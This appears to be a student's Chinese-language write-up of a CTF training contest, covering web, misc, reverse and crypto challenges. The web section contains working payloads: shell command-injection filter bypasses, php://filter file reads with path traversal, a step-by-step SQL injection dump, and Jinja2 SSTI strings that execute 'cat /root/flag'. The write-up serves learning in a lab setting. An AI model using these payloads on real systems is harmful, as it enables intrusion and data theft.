wp

Web

外星人：打开网页，发现文字可以复制，复制粘贴，得以下内容

Resistance is futile! Bring back Futurella or we'll invade!

Also, the flag is flag{e15180e0fff28a468387957d06ae0713}

view source:题目名称提示查看源码，进入网页后右键查看，得flag{0e394d6005f54b97670138518ad1f353}

一个不能按的按钮：进入网页，查看源码，去掉其中的‘disable=’,即可按动按钮，得 flag{fa966345577ba81af19408f203db968f}

Eszy_request:进入网页后,页面提示使用 get 提交变量,打开火狐内置的 hackbar,

http://xiyounet-ctftraing-web.node.xuntctf.top:10083/?a=1

页面提示使用 post 提交变量，勾选 post date ，输入 b=2，得

flag{We1c0me_T0_xiyoUn1t!}

夹心饼干：题目暗指 cookie，于是右键查看，点击网络，点击重新加载，点击第一个状态为 200 的域名，查看 cookie，提示“cookie.php”,

http://xiyounet-ctftraing-web.node.xuntctf.top:10087/cookie.php

网页提示看一看 http response ！

查看消息头，在响应头中发现 flag：flag{c503d56a-ead1-48d7-aaf7-bda27e0e90c4}

一起来玩呀：打开网页，发现是俄罗斯方块游戏，玩了几局，觉得可能是达到一定分数，于是查看源码，在 index.js 中发现了得到 flag 的函数

function getFlag() {

```
var req = new XMLHttpRequest();
req.open("GET", "f1Ag.php?score=" + score);
req.onload = function () {
    alert(this.responseText);
};
```

提示 get 方式提交到 f1Ag.php，于是随便输一个分数 9999999999

http://xiyounet-ctftraing-web.node.xuntctf.top:10086/f1Ag.php?score=9999999999

得到　游戏结束，分数为：9999999999 flag{T3trl5_i5_i^t3ri^g}

扫黑行动：进入网页，查看源码，提示 git 泄露

使用 githack，python2 GitHack.py 网址/.git/

获得 falg.html

得 flag{4aad2a8f-8fe6-475c-821d-fbe436c40691}

争分夺秒的黑客：进入网页后打开源码，上面 提示输入一个 100-200 之间的数，于是随便输了一个，竟然出了？！

知道这不是正确的解法，用 burpsuite 抓了包，然后去跑了一个 100-200 的数的字典，查看返回长度不同的一个，得到 flag

寻物启事：打开源码，hint　Do you know dirsearch ?

Dirsearch 是一款目录爆破工具，在 python3 下运行

[10:25:44] 200 -　154B　- /123.php

得知这个有问题，尝试访问

得到：谢谢你帮我找到玩具车。 为了感谢，我决定将它的出厂语音读给你听。

flag{Armageddon_cannon_is_here}

小姐姐来学 http：看这个意思，似乎是抓包改包。

进入网址，使用 burpsuite 抓包，然后 send to repeater,开始修改

http 改为 3.0 Cookie: Sex 改为=0

提示网协开发浏览器

User-Agent:改为 xiyounet99999.0

提示必须从本地访问

Cache-Control: no-cache 下面加入 X-Forwarded-For: 127.0.0.1

提示我只认得 utf-8

下面 Accept-Charset: utf-8

提示 Hello，小姐姐！flag 就是"猪猪"的 md5 加密(~ ￣▽￣) ~ !

MD5 32 位小写加密后包裹在 flag 头里

flag{58a0c3e27e7d8742e26ec054a433f0e6}

花式绕过：

浏览 php 码，知以 get 方式提交

?ctf=ls //ls 是 Linux 常用命令，也可以 dir

网页提示：50x.html flag.php index.php

发现目录下有 flag 文件，一开始可以直接打开，后来题改了。

?ctf=php%09fl??

用这种办法绕过, php 在起来不会有匹配的内容 %09 可以替代空格, flag 被过滤,

使用 fl??，？匹配任意数，这里匹配为 flag

提示：Could not open input file: fl?? 想到使用 grep 命令

?ctf=grep%09fla%09fla???hp

得到 flag　flag{486781b7368effbbda3c87c04296650b}

你能看见我吗:页面上显示一段 php 码，查阅相关资料后，知道用 post 提交，使用 php://filter 伪协议的方式读取文件内容

ctf=php://filter/convert.base64-encode/resource=hihintnt.php

一开始写的时候不对, 后面是hint.php,后来想到存在$ctf = str_replace($black_list, '', $ctf); ，如果我们是 hint.php 则会变成.php，如果是 hihintnt.php 则为 hint.php

获得 PD9waHAKZmxhZ+WcqGZsYWdmbGFnLnBocOmHjAo/Pgo=

base64 解码

<?php

flag 在 flagflag.php 里

?>

打开 flagflag.php，发现啥都没有。然后就不会了，学长说有个脑洞，但是我根本没看出来 orz

然后他告诉我 flag 在上上层目录里，然后我就惊呆了。

ctf=php://filter/convert.base64-encode/resource=../flflagagflflagag.php

PD9waHANCiAgICBlY2hvICI8IS0tZmxhZ3s4MDAxYzRjYjZjYzQxYjZlNzRiZjQ4ODc4OGY4ZmExM30tLT4iDQo/Pg==

base64

<?php

　　echo "<!--flag{8001c4cb6cc41b6e74bf488788f8fa13}-->"

?>

在线留言板：查阅了 ctf 留言板有关的题目，觉得是 sql 注入

参见 https://blog.csdn.net/qq_42646885/article/details/95049378

开始尝试

先用 git hack，获取了网站源码，然后得到了注入点和过滤函数。

VALUES ('$nickname','$comment','$date','".$ip."','$is_check')";

```
function test_input($data) {
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data);
    return $data;
```

过滤函数好像可以轻松绕过，然后在 ip 处注入

用户名随便写点，在留言处注入，然后找了个 SQL 注入得表

2','3',user(),'5')# 获取权限

2','3',(select(database())),'5')#查库

2','3',(select(group_concat(table_name))from(information_schema.tables)where(t

able_schema)like(database())),'5')#查表

2','3',(select(group_concat(column_name))from(information_schema.columns)wh

ere(table_name)like('f1ag')),'5')#查字段

2','3',(select(group_concat(flag))from(f1ag)),'5')#查数据

这里 flag 其实已经出来了，但是是半截，想办法查资料后，打算用 substr 函数

分割下

2','3',((substr((select(flag)from(f1ag)),16,32))),'5')#分割函数

得到 flag

HELLO PYTHON：基于 Flask 的 Jinja2 模板的 SSTI

这题得怪我运气实在是太好了，在 csdn 上找到一篇文章，试了试，似乎可以，然后按着人家的做，就这么出了！？发现这题和人家的做法完全吻合，啊这、我其实完全不懂 ssti

https://blog.csdn.net/Xxy605/article/details/108929106

用户名处为注入点，用 burpsuite 抓包，然后 send to repeat 开始

name={{config}}

name={{%27%27.__class__}}

name={{%27%27.__class__.__mro__}}

name={{%27%27.__class__.__mro__[-1].__subclasses__()}}

这里的 214 是数出来的，不会写脚本，只能一个一个数。

name={{%27%27.__class__.__mro__[-1].__subclasses__()[214].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("ls /").read()')}}

name={{%27%27.__class__.__mro__[-1].__subclasses__()[214].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /root/flag").read()')}}

得到 flag，flag{2710b010-2694-41ad-9485-e8f1664f790d}，被我屯了，害怕学长出新题。

以上是 web 部分。

Misc

真 pdf：在攻防世界上做过，使用 google 浏览器打开，发现图片下有字

复制 flag{xixix1_!_Y0u_Find_me111}

图片有四种格式：根据提示下载文件，用 010 打开，在尾部发现了 flag

flag{A_lIK3_M15cCc}

我的 flag 裂开了：提示说头没了，联想到图片头，使用 010 打开，果然图片头不对，加入图片头后，两张图片回复正常了，两个半截的 flag

这就是个 excel：下载后，根据题目的提示，给文件加上 xlsx 后缀，在 excel 里打开，上面写着我已经看见 flag 了

然后发现隐藏着很多填有 1 的框，可能是二维码

将所有填有 1 的框全部涂黑，果然是个二维码

改变行高，然后用手机扫描，得到一串看上去不像是 flag 的字符

猜想 base64，解密，得到 flag

Megumin ：下载动图后，使用 stegsolve 分解，得到二维码，但是在三个角上打着×，修复后扫描二维码，得到一串后带==的密文，使用 base64 解码

得到了另一串，连续 base32,base16 解码，得到 flag

flag{notia_explosion}

曲里拐弯天际路：用 010 打开 hint 拉到底，发现底下有提示

第一个 qwe 密码，得到“we1come”；第二个是盲文，得到“to“，

第三个得到“where are you now“，根据题目，猜天际”skyrim“

得 flag{we1come_to_skyrim}

Serize 的秘密：下载压缩包后发现有密码，题目说是他的生日，我使用了 Advanced Archive Password Recovery 来爆破，载入了一个 2000-2004 年生日字

典，得到密码 20021110 吗，得到了 flag

flag{S3R1Ze's_SeCrEt}

puzzle: gaps 我在 kail 上面安了很多次，总是失败。。。

于是 ps 硬拼，得到 flag，没想到那个字是真的认不出来

zip 加密：根据题目条件，似乎是 zip 伪加密，使用 csdn 上下载的 zip 伪加密解密工具，得到 flag{Zip_i5_In73rest1ng}

月光之下：lsb 隐写，用 stegsolve 打开，然后 data extract，勾选红绿蓝三个 0，查看，得到 flag

两个 txt：Ntfs，使用 ntfsstreameditor2,扫描得到 flag{ntf5_is_s0_coOl}

压缩猫猫：我先用了 winrar 修复了文件，解压后得到了另一个 rar 文件和密码，掩码攻击，我疑惑得是大部分压缩包爆破工具识别不了显示无密码，

一通尝试后发现疯师傅能用，于是用字典生成器生成了字典，加载爆破后找到密码，flag{RaR_i5_Soo_Co0l:)}

白会长的小秘密： wireshark 打开，疑似键盘流量分析

在 kali 中用 tshark 导出 usb 流量包：

tshark -r pcapng.pcapng -T fields -e usb.capdata > usbdata.txt

而后运行脚本

```
import os

normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e
```

":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0",
"28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"
=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":
",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>
","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":
"<F11>","45":"<F12>"}

shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"
H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"
Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":
"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"("
27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_
","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":
"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F
4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","
44":"<F11>","45":"<F12>"}

nums = []

keys = open('usbdata.txt')

for line in keys:

    if len(line)!=17: #首先过滤掉鼠标等其他设备的 USB 流量

```
        continue
    nums.append(line[0:2]+line[4:6]) #取一、三字节
keys.close()
output = ""
for n in nums:
    if n[2:4] == "00" :
        continue

    if n[2:4] in normalKeys:
        if n[0:2]=="02": #表示按下了 shift
            output += shiftKeys [n[2:4]]
        else :
            output += normalKeys [n[2:4]]
    else:
        output += &apos;[unknown]&apos;
print(&apos;output :n&apos; + output)
```

得到 flag{usb666}

毅哥哥的表白信：偷看提示，flag 是得到的文字 MD5 加密后逆序

进入文件，发现左上角标题下有个小点，

拉开后里面的文字是“我想让你做我女朋友”（土味情话）

得到 flag{cc3d5eeeb2a68bfa0f6c2139f87a748f}（未提交）

Reverse

星星点灯：攻防世界原题，下载后从 8 按到 1，得到 flag。

不会逆向，没用逆向的方法做

Ezre：使用 IDA 打开，得到

'int main(void) {',0Ah ; DATA XREF: _main+Eo

' int a, b; scanf("%d%d", &a, &b); if(a == b)

printf("ZmxhZ3sxNmNmOWIxMy0xYmE1LTQ3Y2MtYThiMC03M2Y4ZWRhNmU5

ZTR9"); '

else printf("Try again");}',0

发现 base64 密文，解密得到 flag{16cf9b13-1ba5-47cc-a8b0-73f8eda6e9e4}（未提交）

免费的 flag：放进 IDA，打开，F12 查看，发现 flag{thls_1s/n0t_a-f1|ag!}(未提交)

为什么这个 100 的比上面 50 的还简单，是我走错了

ezRe_py ： python 跑了一下，出来一组二进制数，八个一组解码，得到 flag

eeezRE ： 用 c 语言写了个简单解密程序

```
#include <stdio.h>
int main()
{
    char flag[22] = "u{NthaAaRrRLWN|fr^D^j";
    for (int i = 0; i < 21; i++)
    {
        flag[i] ^= 0x11;
```

```
        flag[i] += 0x02;
        printf("%c", flag[i]);

    }
    return 0;
}
```

真不难：给了一个 c 程序，我本来想着运行，但是运行不了，仔细看了看，提示 flag 由几段字符拼接而成，I L0ve you

得到 flag{I_L0ve!==_you!!!}

Crackme:看程序像是让我破解密码，根据程序，账号是 crackme，账号+密码-48 得到"ftaenng",按这个算法，算出来密码 ASCII 码 51，50，48，50，51，49，50 即密码是 3202312

flag{3202312}

Crypto

Base16*4:题目给出一段 base64 加密的密文，解密得到 flag

ezsy_Caesar! ：根据题目，上网搜索凯撒解密，解码后的到 flag

new base64：下载 py 文件，得到加密方式，因为太菜了所以是手动一个一个对的，得到 flag

Railfence Cipher：根据题目提示，搜索栅栏密码解码器，w 型，栏目数为 4 得到 flag

Pig：查阅资料，发现是猪圈密码，解码得到 flag

what is 阿斯口码? 打开.py 文件，获得一串数组，利用 ASCII 码解码，获得 flag

Caesar_Primary! 和 Caesar_Plusss!：用了笨办法，在加密程序里输了 a-z、A-Z 和一些基本符号，把他的字符编码试出来了，然后挨个翻译

解方程：在网上找了个线性方程组求解器，解出来十个数，ascii 码翻译

number_so_longggggg： 东拼西凑改出来个解密脚本

```
import math


cip = [8.387472968915334e+38, 1.429361922489721e+87, 1.4825364951968168e+70, 1.5742397835595065e+70, 3.8182864609133486e+28, 7.685490443573144e+68, 5459.815003314423, 2.5057549181615482e+20, 2.782460365186798e+78, 9.732697697074454e+45,
 1.888273106770144e+23, 6.912158655486207e+53, 2.552668139525435e+65, 2.0586638771777868e+36, 488736078.62793255, 2.9012762935556714e+49, 152.22378239370653, 2.959659758678102e+72, 4.306597977221508e+83, 10177939690299.602,
 1.1892590228281937e+51, 4.2432225078284057e+27, 7.612864571104453e+16, 4.874223703151913e+43, 3.332833918246933e+74, 4.607186634331275e+30, 1.3709397423262218e+45, 3.385567443583169e+64, 6.298340227994489e+52, 2.3370349567878094e+86,
 2.6182098793941887e+63, 1.7911398206275525e+86, 405154.196378769, 4.0485660085792305e+80, 7.0167359120976145e+22, 9.345998205225964e+22, 1.3658353890530412e+67, 50428.59918659188]
```

```
rand = [85, 196, 157, 157, 61, 154, 4, 43, 176, 102, 49, 120, 146, 79, 16, 110, 1, 16
3, 188, 26, 113, 59, 35, 96, 167, 66, 100, 144, 117, 195, 142, 194, 9, 181, 48, 49, 1
50, 6]


flag = ''
for i in range(len(cip)):
    x = cip[i] / (math.e ** rand[i])
    print(i, x)
    if i == 35:
        flag += chr(int(x) + 1)
    else:
        flag += chr(int(x))
print(flag)
```

pwn 一道都不会 orz

总结：从 CTF 比赛中受益匪浅，同时也感知到了自己的不足。相信我会继续在这条路上走下去。